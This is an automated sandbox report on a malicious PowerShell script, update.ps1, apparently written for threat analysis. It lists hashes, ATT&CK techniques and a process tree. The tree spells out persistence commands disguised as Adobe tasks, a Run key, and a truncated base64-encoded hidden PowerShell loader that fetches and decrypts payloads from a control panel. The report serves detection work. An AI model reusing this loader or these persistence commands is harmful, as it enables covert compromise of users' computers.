b6bd1858e21735955926bb1452d9923359dc29ba4fe33ce9525be12d118316a9

Analysis

max time kernel
149s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/08/2026, 17:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
update.ps1
Size 2KB
Sample260809-wd5q9abf76
SHA256 b6bd1858e21735955926bb1452d9923359dc29ba4fe33ce9525be12d118316a9
MD5 b13665a50f9a581712e62fab5c5c7d13
SHA1 5e4f1912507284eb3fc42d30054336398562cd09
SHA512 0f881d3dea6e6dfada83a8ca4cd1b74d287944f9328c0b27fdac3053cdb89e1b0aee81b996f313e4982d582a29f0f0642cb2634d00b7c2134b80a4b704825c2c
TLSH
T12D516317721423B080F51268B4B8C265CA7E800E54453B213AF99359EEF33DE4B1DEA4
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution persistence privilege_escalation

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2776	PowerShell.exe
8	2776	PowerShell.exe
10	4544	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4544	powershell.exe
2776	PowerShell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
8	2776	PowerShell.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Adobe Acrobat.cmd	PowerShell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\Adobe Acrobat = "wscript.exe //B //Nologo \"C:\\Users\\Admin\\AppData\\Local\\Adobe\\launch.vbs\""	PowerShell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
5084	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2540	schtasks.exe
2424	schtasks.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2776	PowerShell.exe
2776	PowerShell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2776	PowerShell.exe
Token: SeDebugPrivilege	4544	powershell.exe
Token: SeIncreaseQuotaPrivilege	4544	powershell.exe
Token: SeSecurityPrivilege	4544	powershell.exe
Token: SeTakeOwnershipPrivilege	4544	powershell.exe
Token: SeLoadDriverPrivilege	4544	powershell.exe
Token: SeSystemProfilePrivilege	4544	powershell.exe
Token: SeSystemtimePrivilege	4544	powershell.exe
Token: SeProfSingleProcessPrivilege	4544	powershell.exe
Token: SeIncBasePriorityPrivilege	4544	powershell.exe
Token: SeCreatePagefilePrivilege	4544	powershell.exe
Token: SeBackupPrivilege	4544	powershell.exe
Token: SeRestorePrivilege	4544	powershell.exe
Token: SeShutdownPrivilege	4544	powershell.exe
Token: SeDebugPrivilege	4544	powershell.exe
Token: SeSystemEnvironmentPrivilege	4544	powershell.exe
Token: SeRemoteShutdownPrivilege	4544	powershell.exe
Token: SeUndockPrivilege	4544	powershell.exe
Token: SeManageVolumePrivilege	4544	powershell.exe
Token: 33	4544	powershell.exe
Token: 34	4544	powershell.exe
Token: 35	4544	powershell.exe
Token: 36	4544	powershell.exe
Token: SeIncreaseQuotaPrivilege	4544	powershell.exe
Token: SeSecurityPrivilege	4544	powershell.exe
Token: SeTakeOwnershipPrivilege	4544	powershell.exe
Token: SeLoadDriverPrivilege	4544	powershell.exe
Token: SeSystemProfilePrivilege	4544	powershell.exe
Token: SeSystemtimePrivilege	4544	powershell.exe
Token: SeProfSingleProcessPrivilege	4544	powershell.exe
Token: SeIncBasePriorityPrivilege	4544	powershell.exe
Token: SeCreatePagefilePrivilege	4544	powershell.exe
Token: SeBackupPrivilege	4544	powershell.exe
Token: SeRestorePrivilege	4544	powershell.exe
Token: SeShutdownPrivilege	4544	powershell.exe
Token: SeDebugPrivilege	4544	powershell.exe
Token: SeSystemEnvironmentPrivilege	4544	powershell.exe
Token: SeRemoteShutdownPrivilege	4544	powershell.exe
Token: SeUndockPrivilege	4544	powershell.exe
Token: SeManageVolumePrivilege	4544	powershell.exe
Token: 33	4544	powershell.exe
Token: 34	4544	powershell.exe
Token: 35	4544	powershell.exe
Token: 36	4544	powershell.exe
Token: SeIncreaseQuotaPrivilege	4544	powershell.exe
Token: SeSecurityPrivilege	4544	powershell.exe
Token: SeTakeOwnershipPrivilege	4544	powershell.exe
Token: SeLoadDriverPrivilege	4544	powershell.exe
Token: SeSystemProfilePrivilege	4544	powershell.exe
Token: SeSystemtimePrivilege	4544	powershell.exe
Token: SeProfSingleProcessPrivilege	4544	powershell.exe
Token: SeIncBasePriorityPrivilege	4544	powershell.exe
Token: SeCreatePagefilePrivilege	4544	powershell.exe
Token: SeBackupPrivilege	4544	powershell.exe
Token: SeRestorePrivilege	4544	powershell.exe
Token: SeShutdownPrivilege	4544	powershell.exe
Token: SeDebugPrivilege	4544	powershell.exe
Token: SeSystemEnvironmentPrivilege	4544	powershell.exe
Token: SeRemoteShutdownPrivilege	4544	powershell.exe
Token: SeUndockPrivilege	4544	powershell.exe
Token: SeManageVolumePrivilege	4544	powershell.exe
Token: 33	4544	powershell.exe
Token: 34	4544	powershell.exe
Token: 35	4544	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2776 wrote to memory of 4520	2776	PowerShell.exe	91
PID 4520 wrote to memory of 2296	4520	csc.exe	92
PID 2776 wrote to memory of 1724	2776	PowerShell.exe	93
PID 2776 wrote to memory of 2424	2776	PowerShell.exe	94
PID 2776 wrote to memory of 3004	2776	PowerShell.exe	95
PID 2776 wrote to memory of 1752	2776	PowerShell.exe	96
PID 2776 wrote to memory of 1968	2776	PowerShell.exe	97
PID 2776 wrote to memory of 3380	2776	PowerShell.exe	98
PID 2776 wrote to memory of 4752	2776	PowerShell.exe	99
PID 2776 wrote to memory of 2540	2776	PowerShell.exe	100
PID 2776 wrote to memory of 1552	2776	PowerShell.exe	101
PID 2776 wrote to memory of 5084	2776	PowerShell.exe	102
PID 5084 wrote to memory of 4544	5084	wscript.exe	103
PID 4544 wrote to memory of 2788	4544	powershell.exe	109
PID 2788 wrote to memory of 4332	2788	csc.exe	110

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\update.ps1
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Creates a file in the Startup directory
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2776
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4vxpp3zh\4vxpp3zh.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4520
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD0C3.tmp" "c:\Users\Admin\AppData\Local\Temp\4vxpp3zh\CSC875C6D974CD84F308D903AF211594F29.TMP"
    3⤵
    PID:2296
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Delete /TN AdobeBootReinstall /F
  2⤵
  PID:1724
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Create /TN AdobeBootReinstall /SC ONSTART /RL HIGHEST /DELAY 0000:45 /F /TR "C:\ProgramData\Adobe v1.0\boot-run.cmd"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2424
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Delete /TN "Adobe Acrobat" /F
  2⤵
  PID:3004
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Delete /TN HostPanelMonitorAgent /F
  2⤵
  PID:1752
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Delete /TN AdobeMonitorAgent /F
  2⤵
  PID:1968
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Delete /TN "Adobe Acrobat" /F
  2⤵
  PID:3380
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Delete /TN "Adobe Acrobat Update" /F
  2⤵
  PID:4752
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Create /TN "Adobe Acrobat" /SC ONLOGON /RL HIGHEST /F /TR ""C:\Windows\System32\wscript.exe" //B //Nologo "C:\Users\Admin\AppData\Local\Adobe\launch.vbs""
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2540
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Delete /TN AdobeUpdateHelper /F
  2⤵
  PID:1552
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" //B //Nologo C:\Users\Admin\AppData\Local\Adobe\launch.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Suspicious use of WriteProcessMemory
  PID:5084
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand "JABTAGUAcgB2AGUAcgBVAHIAbAA9ACQAZQBuAHYAOgBIAFAAXwBQAEEATgBFAEwAXwBVAFIATAAKACQAUgBvAG8AdAA9ACQAZQBuAHYAOgBIAFAAXwBBAEcARQBOAFQAXwBSAE8ATwBUAAoAJABFAG4AYwBGAGkAbABlAD0AJABlAG4AdgA6AEgAUABfAEUATgBDAF8ARgBJAEwARQAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBTAHQAbwBwACIACgB0AHIAeQAgAHsAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAdABvAHAAIAB9ACAAYwBhAHQAYwBoACAAewB9AAoACgBmAHUAbgBjAHQAaQBvAG4AIABSAGUAcwBvAGwAdgBlAC0AQQBnAGUAbgB0AFIAbwBvAHQAKABbAHMAdAByAGkAbgBnAF0AJABSACkAIAB7AAoAIAAgACAAIABpAGYAIAAoACQAUgAgAC0AYQBuAGQAIAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAFIAKQApACAAewAgAHIAZQB0AHUAcgBuACAAJABSACAAfQAKACAAIAAgACAAaQBmACAAKAAkAGUAbgB2ADoASABQAF8AQQBHAEUATgBUAF8AUgBPAE8AVAAgAC0AYQBuAGQAIAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGUAbgB2ADoASABQAF8AQQBHAEUATgBUAF8AUgBPAE8AVAApACkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAGUAbgB2ADoASABQAF8AQQBHAEUATgBUAF8AUgBPAE8AVAAgAH0ACgAgACAAIAAgAGkAZgAgACgAJABQAFMAUwBjAHIAaQBwAHQAUgBvAG8AdAApACAAewAgAHIAZQB0AHUAcgBuACAAJABQAFMAUwBjAHIAaQBwAHQAUgBvAG8AdAAgAH0ACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAKABKAG8AaQBuAC0AUABhAHQAaAAgACQAZQBuAHYAOgBMAE8AQwBBAEwAQQBQAFAARABBAFQAQQAgACIAQQBkAG8AYgBlACIAKQAKAH0ACgAKAGYAdQBuAGMAdABpAG8AbgAgAFIAZQBzAG8AbAB2AGUALQBQAGEAbgBlAGwAUwBlAHIAdgBlAHIAVQByAGwAKABbAHMAdAByAGkAbgBnAF0AJABVAHIAbAAsACAAWwBzAHQAcgBpAG4AZwBdACQAQQBnAGUAbgB0AFIAbwBvAHQAKQAgAHsACgAgACAAIAAgACQAdQAgAD0AIABpAGYAIAAoACQAVQByAGwAKQAgAHsAIAAkAFUAcgBsAC4AVAByAGkAbQAoACkALgBUAHIAaQBtAEUAbgBkACgAIgAvACIAKQAgAH0AIABlAGwAcwBlACAAewAgACIAIgAgAH0ACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAdQAgAC0AYQBuAGQAIAAkAGUAbgB2ADoASABQAF8AUABBAE4ARQBMAF8AVQBSAEwAKQAgAHsAIAAkAHUAIAA9ACAAJABlAG4AdgA6AEgAUABfAFAAQQBOAEUATABfAFUAUgBMAC4AVAByAGkAbQAoACkALgBUAHIAaQBtAEUAbgBkACgAIgAvACIAKQAgAH0ACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAdQAgAC0AYQBuAGQAIAAkAGUAbgB2ADoASABPAFMAVABfAFAAQQBOAEUATABfAFUAUgBMACkAIAB7ACAAJAB1ACAAPQAgACQAZQBuAHYAOgBIAE8AUwBUAF8AUABBAE4ARQBMAF8AVQBSAEwALgBUAHIAaQBtACgAKQAuAFQAcgBpAG0ARQBuAGQAKAAiAC8AIgApACAAfQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJAB1ACAALQBhAG4AZAAgACQAQQBnAGUAbgB0AFIAbwBvAHQAKQAgAHsACgAgACAAIAAgACAAIAAgACAAJABwAGYAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAEEAZwBlAG4AdABSAG8AbwB0ACAAIgBwAGEAbgBlAGwALgB1AHIAbAAiAAoAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAcABmACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABmAHIAbwBtAEYAaQBsAGUAIAA9ACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAcABmACAALQBUAG8AdABhAGwAQwBvAHUAbgB0ACAAMQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAGYAcgBvAG0ARgBpAGwAZQApACAAewAgACQAdQAgAD0AIAAkAGYAcgBvAG0ARgBpAGwAZQAuAFQAcgBpAG0AKAApAC4AVAByAGkAbQBFAG4AZAAoACIALwAiACkAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgAH0ACgAgACAAIAAgAGkAZgAgACgAJAB1ACAALQBtAGEAdABjAGgAIAAnAF4AKABoAHQAdABwAHMAPwA6AC8ALwBbAF4ALwA6AF0AKwApADoAOAA4ADgAOAAoAC8ALgAqACkAPwAkACcAKQAgAHsACgAgACAAIAAgACAAIAAgACAAJAB1ACAAPQAgACQATQBhAHQAYwBoAGUAcwBbADEAXQAgACsAIAAkACgAaQBmACAAKAAkAE0AYQB0AGMAaABlAHMAWwAyAF0AKQAgAHsAIAAkAE0AYQB0AGMAaABlAHMAWwAyAF0AIAB9ACAAZQBsAHMAZQAgAHsAIAAiACIAIAB9ACkACgAgACAAIAAgAH0ACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAB1AAoAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAAVQBuAHAAcgBvAHQAZQBjAHQALQBTAGUAcwBzAGkAbwBuAFMAZQBjAHIAZQB0ACgAWwBiAHkAdABlAFsAXQBdACQAQgBsAG8AYgAsACAAWwBzAHcAaQB0AGMAaABdACQATABvAGMAYQBsAE0AYQBjAGgAaQBuAGUAKQAgAHsACgAgACAAIAAgACQAcwBjAG8AcABlACAAPQAgAGkAZgAgACgAJABMAG8AYwBhAGwATQBhAGMAaABpAG4AZQApACAAewAKACAAIAAgACAAIAAgACAAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEwAbwBjAGEAbABNAGEAYwBoAGkAbgBlAAoAIAAgACAAIAB9ACAAZQBsAHMAZQAgAHsACgAgACAAIAAgACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIACgAgACAAIAAgAH0ACgAgACAAIAAgACQAcABsAGEAaQBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAcgBvAHQAZQBjAHQAZQBkAEQAYQB0AGEAXQA6ADoAVQBuAHAAcgBvAHQAZQBjAHQAKAAkAEIAbABvAGIALAAgACQAbgB1AGwAbAAsACAAJABzAGMAbwBwAGUAKQAKACAAIAAgACAAcgBlAHQAdQByAG4AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHAAbABhAGkAbgApAAoAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBBAGUAcwBLAGUAeQBCAHkAdABlAHMAKABbAHMAdAByAGkAbgBnAF0AJABTAGUAYwByAGUAdAApACAAewAKACAAIAAgACAAJABzAGgAYQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQAyADUANgBdADoAOgBDAHIAZQBhAHQAZQAoACkACgAgACAAIAAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJABzAGgAYQAuAEMAbwBtAHAAdQB0AGUASABhAHMAaAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAkAFMAZQBjAHIAZQB0AC4AVAByAGkAbQAoACkAKQApACAAfQAKACAAIAAgACAAZgBpAG4AYQBsAGwAeQAgAHsAIAAkAHMAaABhAC4ARABpAHMAcABvAHMAZQAoACkAIAB9AAoAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAARABlAGMAcgB5AHAAdAAtAEEAZQBzAEIAbABvAGIAKABbAGIAeQB0AGUAWwBdAF0AJABSAGEAdwAsACAAWwBzAHQAcgBpAG4AZwBdACQAUwBlAGMAcgBlAHQAKQAgAHsACgAgACAAIAAgAGkAZgAgACgAJABSAGEAdwAuAEwAZQBuAGcAdABoACAALQBsAHQAIAAxADcAKQAgAHsAIAB0AGgAcgBvAHcAIAAiAEkAbgB2AGEAbABpAGQAIABlAG4AYwByAHkAcAB0AGUAZAAgAGIAbABvAGIALgAiACAAfQAKACAAIAAgACAAJABpAHYAIAA9ACAAJABSAGEAdwBbADAALgAuADEANQBdAAoAIAAgACAAIAAkAGUAbgBjACAAPQAgACQAUgBhAHcAWwAxADYALgAuACgAJABSAGEAdwAuAEwAZQBuAGcAdABoACAALQAgADEAKQBdAAoAIAAgACAAIAAkAGEAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABhAGUAcwAuAE0AbwBkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBDAEIAQwAKACAAIAAgACAAJABhAGUAcwAuAFAAYQBkAGQAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUABhAGQAZABpAG4AZwBNAG8AZABlAF0AOgA6AFAASwBDAFMANwAKACAAIAAgACAAJABhAGUAcwAuAEsAZQB5ACAAPQAgAEcAZQB0AC0AQQBlAHMASwBlAHkAQgB5AHQAZQBzACAAJABTAGUAYwByAGUAdAAKACAAIAAgACAAJABhAGUAcwAuAEkAVgAgAD0AIAAkAGkAdgAKACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAZABlAGMAIAA9ACAAJABhAGUAcwAuAEMAcgBlAGEAdABlAEQAZQBjAHIAeQBwAHQAbwByACgAKQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGUAbgBjACwAIAAwACwAIAAkAGUAbgBjAC4ATABlAG4AZwB0AGgAKQAKACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGQAZQBjACkACgAgACAAIAAgAH0AIABmAGkAbgBhAGwAbAB5ACAAewAgACQAYQBlAHMALgBEAGkAcwBwAG8AcwBlACgAKQAgAH0ACgB9AAoACgBmAHUAbgBjAHQAaQBvAG4AIABVAHAAZABhAHQAZQAtAEEAZwBlAG4AdABQAGEAeQBsAG8AYQBkAHMAKABbAHMAdAByAGkAbgBnAF0AJABBAGcAZQBuAHQAUgBvAG8AdAAsACAAWwBzAHQAcgBpAG4AZwBdACQAQgBhAHMAZQBVAHIAbAAsACAAWwBzAHQAcgBpAG4AZwBdACQAUwBlAGMAcgBlAHQAKQAgAHsACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAQgBhAHMAZQBVAHIAbAAgAC0AbwByACAALQBuAG8AdAAgACQAUwBlAGMAcgBlAHQAKQAgAHsAIAByAGUAdAB1AHIAbgAgAH0ACgAgACAAIAAgACQAYgBhAHMAZQAgAD0AIAAkAEIAYQBzAGUAVQByAGwALgBUAHIAaQBtACgAKQAuAFQAcgBpAG0ARQBuAGQAKAAiAC8AIgApAAoAIAAgACAAIAAkAGsAZQB5AFEAIAA9ACAAWwBVAHIAaQBdADoAOgBFAHMAYwBhAHAAZQBEAGEAdABhAFMAdAByAGkAbgBnACgAJABTAGUAYwByAGUAdAApAAoAIAAgACAAIAB0AHIAeQAgAHsAIABbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsACAAPQAgAFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyACAAfQAgAGMAYQB0AGMAaAAgAHsAfQAKACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAJABwAGEAaQByACAAaQBuACAAQAAoAAoAIAAgACAAIAAgACAAIAAgAEAAewAgAFIAZQBsACAAPQAgACIALwBhAGcAZQBuAHQALwBsAG8AYQBkAGUAcgAuAGQAYQB0AD8AawBlAHkAPQAkAGsAZQB5AFEAIgA7ACAATgBhAG0AZQAgAD0AIAAiAGwAbwBhAGQAZQByAC4AZABhAHQAIgA7ACAATQBpAG4AIAA9ACAAMwAyACAAfQAsAAoAIAAgACAAIAAgACAAIAAgAEAAewAgAFIAZQBsACAAPQAgACIALwBhAGcAZQBuAHQALwBjAG8AcgBlAC4AZABhAHQAPwBrAGUAeQA9ACQAawBlAHkAUQAiADsAIABOAGEAbQBlACAAPQAgACIAYwBvAHIAZQAuAGQAYQB0ACIAOwAgAE0AaQBuACAAPQAgADMAMgAgAH0ACgAgACAAIAAgACkAKQAgAHsACgAgACAAIAAgACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGUAcwB0ACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAAJABBAGcAZQBuAHQAUgBvAG8AdAAgACQAcABhAGkAcgAuAE4AYQBtAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHQAbQBwACAAPQAgACQAZABlAHMAdAAgACsAIAAiAC4AdABtAHAAIgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAdQByAGkAIAA9ACAAJABiAGEAcwBlACAAKwAgACQAcABhAGkAcgAuAFIAZQBsAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdQByAGkAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAHQAbQBwACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADYAMAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAdABtAHAAIAAtAEUAQQAgAFMAdABvAHAAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAAkAHAAYQBpAHIALgBNAGkAbgApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAATQBvAHYAZQAtAEkAdABlAG0AIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAdABtAHAAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAgACQAZABlAHMAdAAgAC0ARgBvAHIAYwBlAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAdABtAHAAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAkAEEAZwBlAG4AdABSAG8AbwB0ACAAKAAkAHAAYQBpAHIALgBOAGEAbQBlACAAKwAgACIALgB0AG0AcAAiACkAKQAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgAH0ACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAHAAdQAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgACQAQQBnAGUAbgB0AFIAbwBvAHQAIAAiAHAAYQBuAGUAbAAuAHUAcgBsACIACgAgACAAIAAgACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAFQAZQB4AHQAKAAkAHAAdQAsACAAJABiAGEAcwBlACwAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlACkAKQAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAfQAKACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAKABKAG8AaQBuAC0AUABhAHQAaAAgACQAQQBnAGUAbgB0AFIAbwBvAHQAIAAiAC4AcAByAGkAbQBhAHIAeQA